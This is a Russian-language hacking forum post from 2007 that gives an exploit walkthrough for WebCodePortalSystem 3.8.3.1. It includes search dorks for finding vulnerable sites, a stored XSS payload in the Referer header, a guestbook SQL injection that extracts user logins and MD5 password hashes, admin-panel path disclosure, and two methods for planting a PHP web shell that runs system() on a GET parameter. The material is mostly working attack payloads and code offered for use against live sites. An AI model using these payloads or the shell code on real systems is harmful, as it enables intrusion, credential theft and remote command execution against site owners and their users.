Показать сообщение отдельно

  #2  
Старый 13.12.2007, 22:12
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

WebCodePortalSystem <= v. 3.8.3.1 + ВИДЕО (исправил ошибку с кодеком - теперь и весит два метра и открываться должно без проблем)

[ОБЩАЯ ИНФОРМАЦИЯ]

Стандартный префикс - wc_
Тип хеша - md5(password)
Таблица с пользователями - [префикс]_user

Для поиска сайтов с таким движком вводим: WebCodePortalSystem v. 3.8.3.1
Яндекс: http://www.yandex.ru/yandsearch?clid=9582&text=WebCodePortalSystem+v.+3 .8.3.1
Гугл: http://www.google.ru/search?hl=ru&q=WebCodePortalSystem+v.+3.8.3.1&btnG =%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google&lr=& aq=t&oq=

[УЯЗВИМОСТИ (версия WebCodePortalSystem v. 3.8.3.1 - на момент написания самая новая)]

[1] [Активная XSS]

Нет фильтрации в referer е, формируем пакет:

Код:
GET /index.php HTTP/1.1
Host: test2.ru
Referer: http://<IMG SRC=javascript:alert('test');>
Connection: close
Далее при просмотре страницы Статистика - Переходы видим выполнение скрипта.

[2] [SQL инъекция]

Уязвим скрипт гостевой книги, скрипт add.php

Заходим в сфой профиль, "Аккаунт" и в поле "URL Вашего Сайта:" вводим следующее:

',version(),'','1','1')#

Символ # так же как и /* - символ конца строки

Дальше заходим в гостевую книгу и видим в поле "URL вашего сайта:" введенную нами скулю, в поле с текстом сообщения вводим что угодно - не имеет значения (но не оставляем пустым и сильно маленьким - 5-6 символов норм).
Добавляем сообщение и видим результат работы подзапроса вместо текста сообщения, в данном случае будет выведена версия БД. К сожалению из-за ограничения на длинну вставить нормальный подзапрос не полчучится + еще одна не приятная особенность - поставленные пробелы не учитываются, поэтому придется использовать кавычки:

',(select"123"),'','1','1')# - будет выведенно 123

К сожалению от запроса ограниченного по длинне току мало, но сдаваться не хорошо, поэтму я нашел способ как это можно обойти.

И так, у нас есть параметр в котором кавычка не фильтруется, это "URL вашего сайта:", следовательно если мы подставим кавычку то сможем менять наш запрос, да вот кстати сам запрос:

PHP код:
mysql_query("INSERT INTO ".$wcpref."guestbook VALUES ('','$now','$eigbname','$eigbmail','$eigburl    МЫ ВНЕДРЯМСЯ ЗДЕСЬ    ','$eigbtext$attach_text','','$eiloggedstatus','$eigbsname') 
Единственый параметр который мы можем изменить в этом запросе (после параметра с адресом сайта) это текст сообщения - $eigbtext$attach_text, но в нем, как и вдругих кавычки фильтуруются, но использовать кавычки не обязательно, вводим следующее:

URL вашего сайта: ',/*
Текст сообщения: */version(),null,3,3)#

И вот как будет выглядеть запрос:

PHP код:
mysql_query("INSERT INTO ".$wcpref."guestbook VALUES ('','$now','$eigbname','$eigbmail','',/*','*/version(),null,3,3) 
Мешающие нам ',' будет закаментированно (ровно как и все что после #). Да и кстати проблема с пробелами тоже решена - что существенно упрощает построение подзапроса.

И так мы полчаем возможность внедрить sql инъекцию, к примеру вывод логина и хеша пароля пользователя (правда придется составлять два отдельных запроса, т.к. использовать запятую нельзя):

Текст сообщения: */(select user_login from wc_user where id=2),null,3,3)#
Текст сообщения: */(select user_pass from wc_user where id=2),null,3,3)#
URL вашего сайта (в обоих случаях): ',/*

!!!! При регистрации не вводите в URL вашего сайта: ',/* - кавычка будет экранироваться, вводить только при редактирование данных в профиле!!!!!!!
!!!! Уязвимсоть действует только если вы регились на сайте и изменяли в профиле этот параметр, при написание сообщения в гостевой без реги на сайте - кавычка будет экранироваться!!!!!!!


[В АДМИНКЕ]

[Раскрытие абсолютного пути]

В обычный комплект (к примеру версия WebCodePortalSystem v. 3.8.3.1) входит не установленный модуль «Инфо PHP»

Устанавливаем «Инсталл» Инфо PHP, после чего появляется новая опция «Инфо PHP»

[Заливка шелла]

1. Через sql запрос.

Создаем файл с запросом, к примеру файл 1.sql:

select 'код шелла' into outfile 'абсолютный путь/shell.php';

Получаем шелл:

http://site.ru/shell.php

2. Через редактирование меток

«Метки», к примеру метка METKA_STATUS

Добавляем следующий код:

PHP код:
$kod_shella = '<?php system($HTTP_GET_VARS["cmd"]); ?>';
$file_shell = fopen("shell.php", "w");
fputs($file_shell, $kod_shella);
fclose($file_shell);
Получаем шелл:

http://site.ru/shell.php?cmd=[cmd]

Или инклудим шелл, тогда код:

PHP код:
include('Адрес до шелла'); 
И получаем его на главной странице:

http://site.ru/

---------------------------------------------------------------

Видео (весит метра 2):

http://rapidshare.com/files/76360514/heck.rar.html

Описание к видео в файле в аттаче (hek.txt):
Вложения
Тип файла: txt hek.txt (1.7 Кб, 151 просмотров)

Последний раз редактировалось Grey; 14.12.2007 в 00:12..
 
Ответить с цитированием